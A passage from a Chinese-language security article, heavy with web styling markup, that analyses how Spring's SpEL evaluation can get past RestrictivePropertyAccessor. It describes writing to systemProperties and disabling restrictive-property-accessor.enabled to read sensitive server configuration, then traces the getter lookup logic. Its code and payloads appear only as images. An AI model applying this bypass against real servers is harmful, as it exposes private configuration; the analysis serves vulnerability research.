8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">注意 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ReflectivePropertyAccessor</span></code><span leaf=""> 除了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">canRead</span></code><span leaf=""> 函数之外，还存在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">canWrite</span></code><span leaf=""> 函数，这里只是重载了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">canRead</span></code><span leaf=""> 限制读属性，但是仍然可以实现属性写入，比如可以在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">systemProperties</span></code><span leaf=""> 中添加自定义属性：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008709" data-ratio="0.21388888888888888" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=86c266ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkmwYWIwRJtcEoND1QnFl382R3dRuGGL7dOnh8SdJkFKKaNGuR4MYxicw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.41388888888888886" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008710" src="https://wechat2rss.xlab.app/img-proxy/?k=075c2b3f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkibp5bnV15oicW5xGBuJb8Z6hy0k3XE3urCFzKvZRqhhzKjobIeE7RBlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">此外，还可以将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">restrictive-property-accessor.enabled</span></code><span leaf=""> 赋值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">false</span></code><span leaf=""> ，这样就可以解除限制，从而读取服务器敏感配置，比如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JDK Home</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008714" data-ratio="0.11851851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=68a6b987&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkicPDT42thUHCnuk6IyDa8WDwXay0h62zEictlUyh0zklsTL5L3h3Sx5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3453703703703704" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008715" src="https://wechat2rss.xlab.app/img-proxy/?k=45c0eaa6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkzEn9kCNKicF46ZMia6VHO0VnWMNSHbvWu1J3viclx4w2p7L6trFCXvZOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.14074074074074075" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008713" src="https://wechat2rss.xlab.app/img-proxy/?k=6a7539a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkJZu3HTtjibtrYxWZUNibjia1Jhl6hXPmfFBAqicjoTmxLucr9DumibcEslw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">SpEL 解析流程分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">设置 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">restrictive-property-accessor.enabled</span></code><span leaf="">为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">false</span></code><span leaf="">后，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getValue</span></code><span leaf="">进行</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf="">解析时不会调用</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestrictivePropertyAccessor</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CanRead</span></code><span leaf="">方法，而是调用父类</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ReflectivePropertyAccessor</span></code><span leaf="">。对于形如</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">aa.xx</span></code><span leaf="">的表达式将会通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">findGetterForProperty</span></code><span leaf=""> 来获取需要执行的方法对象：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100008716" data-ratio="0.37037037037037035" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=313f6954&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkiah3CB6LO0DEvgU4mMLB1otvTOvhM5eDR4FCldpC0LBK8XFDStaOhdw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">进入 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">findGetterForProperty</span></code><span leaf=""> ，依次尝试在对应类中寻找 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getXX</span></code><span leaf=""> 或者 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isXX</span></code><span leaf=""> ，如果不存在则直接用属性名来定位函数：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.43796296296296294" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100008717" src="https://wechat2rss.xlab.app/img-proxy/?k=4b13aa8a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAxGocgWdT5hjQA4hhZQLtfkHl05LNI3CQlaiaJ1PFdia6L3E6yH3Ar2tnHYJqAGMBZxKe3xVQibLw9uw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">即 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">SpEL</span></code><span leaf=""> 解析时，对于属性名支持以下 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">3</span></code><span leaf=""> 种函数搜索方式：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 